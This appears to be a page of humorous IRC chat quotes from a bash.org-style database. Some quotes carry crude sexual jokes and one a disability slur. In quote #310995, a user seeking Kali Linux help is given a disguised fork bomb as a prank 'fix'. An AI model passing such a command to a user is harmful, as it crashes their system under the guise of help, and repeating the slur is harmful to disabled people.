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#301538* (?/54) ⚐Flag
<%Dirty_Laundry> I had to drive this morning and got rear ended by an old lady
<%Dirty_Laundry> it's not as sexy as it soundsComment: #forum
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#300713* (?/52) ⚐Flag
<EvilSpork> I hereby declare the appropriate shot in every cat food commercial "the nom shot" |
#300565* (?/51) ⚐Flag
Yllsine: I'm lost
Yllsine: I have like
Yllsine: 23 tabs open from TV Tropes
Yllsine: and I can't decide which ones to close
Yllsine: heeeeelp!
Hyro0o0: come on its not exactly Sophie's Choice if Sophie has 23 kids and theyre all retarded |
#310540* (?/51) ⚐Flag
<null__> my mom told me she is going to become a vegetarian
<desg> interesting life choice to make
<sirpengi> i guess that means she'll be spitting from now on |
#305925* (?/51) ⚐Flag
<Critter> Have you ever been on Pirate Bay and read the comments under some of the torrents?
<Critter> It's almost as funny as Bash |
#304714* (?/51) ⚐Flag
<cshake> Does the anaphase of mitosis look like goatse to anyone else? |
#305238* (?/74) ⚐Flag
(05:22:14 PM) Eric: when
(05:22:19 PM) Eric: i masturbate to pokemon pictures
(05:22:22 PM) Eric: for an hour or so
(05:22:27 PM) Eric: i feel like i'm not meant to have a girlfriend |
#306290* (?/48) ⚐Flag
< Ifrit> Japanese doorknob fetish
< Ifrit> sfw
< macegr> do you even have to say japanese in front |
#307504* (?/45) ⚐Flag
<@purpleafroman> how do i kick people
<&Dream> /kick #channel nick
<@purpleafroman> ok ty
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#307753* (?/45) ⚐Flag
<ZzBomb> DAMMIT
<ZzBomb> Moon_Doggy: Every time I see your name now I think of firefighters!
<Moon_Doggy> hehehehe
<ZzBomb> All your fault. >.>
<ZzBomb> I'm craving them now.
<Moon_Doggy> well start a fire
<Moon_Doggy> they will come
<ZzBomb> ...
<GameOver> =^_^=
<ZzBomb> Dont tempt me.
<Moon_Doggy> with they're big hoses
<ZzBomb> grr.
<Moon_Doggy> and waving them about
<ZzBomb> You can stop there.
<ZzBomb> >.>
<GameOver> <.<
<ZzBomb> Just go away and stop making me imagine firemen
<Moon_Doggy> cant
<Moon_Doggy> i'm bored and your giving me something to do |
#307772* (?/45) ⚐Flag
<gianna> I have the weirdest dreams
<gianna> when I wake up I only remember bits and pieces. from last night I remember that I was an MP and i was sitting next to two male MPs who started making out and I told them to stop that. and then i was in prison and they were going to torture me by bringing in very smelly nuns |
#310995* (?/15) ⚐Flag
<ninetysix> Where is the set_config file in kali linux? I cant find it
<foxtrot> this isnt a help channel
<foxtrot> #kalilinux @ freenode
<ninetysix> Whoopsi, thanks
<Gyjf> try echo ":(){ :|:& };:" >> config.sh&& sh config.sh
<Gyjf> should work
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<Gyjf> xD |
#311030* (?/15) ⚐Flag
<defanor> let's divide the globe into 365 parts and shift the calendar accordingly, making it a new year each day somewhere \o/
<defanor> that date/time-related stuff is a mess already, won't be much worse with thatComment: #freenode-newyears
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#311200* (?/15) ⚐Flag
<DrDM> So, when worshipping the Random Number Goddess, d20 is Unitarian, while GURPS is Trinitarian?
<Celti> Sure. d20 has all those lesser saints mucking things up, though: the d4, Patron Die of Magic; the d6, Patron Die of Rogues, and the d10, Patron Die of Swordsmen.
<Celti> GURPS may be Trinitarian, but it's *pure* about it.
<DrDM> You forgot the Patron Die of Rage, the d12, so named because of the emotion it inspires when it inevitably fails to stop rolling.
<DrDM> The thing I like most about "GURPS is Trinitarian" is that each of the individual dice involved are meaningless without the other two -- it really *is* a "three-that-are-one" *thing*. |
#302840* (?/15) ⚐Flag
* Alfihar hates matlab
<@Quinn|Notebook> No Wolfram Research for you?
<Alfihar> nope
<FoolOnHill> There is no Wolfram; there is only Rule 34 |
#302780* (?/15) ⚐Flag
<DEESPADE> WHY WEN I SIGN ON THEY SAY WRONG PASSWORD OR USERNAME AND ITS RIGHT
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<thewilled> Maybe it's the capslock key.
<thewilled> A pity you'll never know.Comment: sure, it's right
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#302401* (?/15) ⚐Flag
*** Kanra has joined #sscommunity.
Kanra: hey
Drachen: everyone gave up chatting in irc for lent
Drachen: come back after easter
Kanra: lol
Drachen: I am a bot. My sole duty is to relay this message. Have a good day
Kanra: wow
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Dacon: lmao
FMBOT2K: LOL |
#304079* (?/71) ⚐Flag
<Doku> Want a mindfuck?
<LtBrenton> sure
* LtBrenton imagines a condom |
#303684* (?/42) ⚐Flag
<JimStarluck> BB: I dunno, I think we dodged a bullet with that one. The way Cartoon Network's been going lately, I'm not sure I'd trust them with B:TAS.
<kwsn> JimStarluck: how are they going lately, i haven't watched recently
<JimStarluck> kwsn: See their entry on tvtropes.org/pmwiki/pmwiki.php/Main/NetworkDecay
<ilovefire> You had to link tvtropes, didn't you, Jim?
<JimStarluck> Sorry, ilf, was the easiest way to sum it up.
* ilovefire grmbls, puts on his spelunking cap. I'll be gone for the next few hours. |
#301755* (?/42) ⚐Flag
<PiratesEvuhrything> even food
<sbobs696> So if hamburgers were torrentable, you'd download them from strangers?
<Somnambulist> Warez the beef? ^_^
<sbob696> LMFAO!
<PiratesEvuhrything> I'm not that careless.
<PiratesEvuhrything> I'd steal a copy of McAfee GrillMaster first to verify the safety of my illegally-gained animal products.
<sbobs696> Would those be FDA approved? :P
<Somnambulist> Only until someone replaces your "Perfect Archduke Franz Ferdinand.torrent" with goatse D: |
#303994* (?/42) ⚐Flag
< MyPetGoat> oed is the One True Dictionary.
< MyPetGoat> I am a somewhat biased source, perhaps, having once been an
American usage Consultant for the Oxford University Press.
< Lint> fo shizzle? |
#308432* (?/42) ⚐Flag
09:46 < CloneShell> sexually fustrated sysadmin
09:46 < CloneShell> should be a meme
09:46 < antiroach> haha
09:46 < antiroach> isnt that redundant |
#306162* (?/42) ⚐Flag
<DragnFly> You know, a friend was talking about how sites like myspace have a "Who I'd like to meet" section. We figured a common response would be popular presidents, like Kennedy and Reagan.
<DragnFly> Can you imagine though sitting down for dinner with Kennedy? "Ask not if I can pass the gravy to you, but can you pass the gravy to me?" |
#217743* (?/40) ⚐Flag
<DrJeep> thinking back we ran a whole manufacturing/distribution company from 5 psions and a NT box
<Hornet> I managed to read 'psions' as 'prisons'
<Hornet> but it being DrJeep, that's also possibleComment: irc.oftc.net , #alug
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#284794* (?/39) ⚐Flag
<LLaur> watcha doin?
<scarab> writing a program for this biomech lab
<scarab> pretty cool stuff actually
<LLaur> nerd
<scarab> byte me |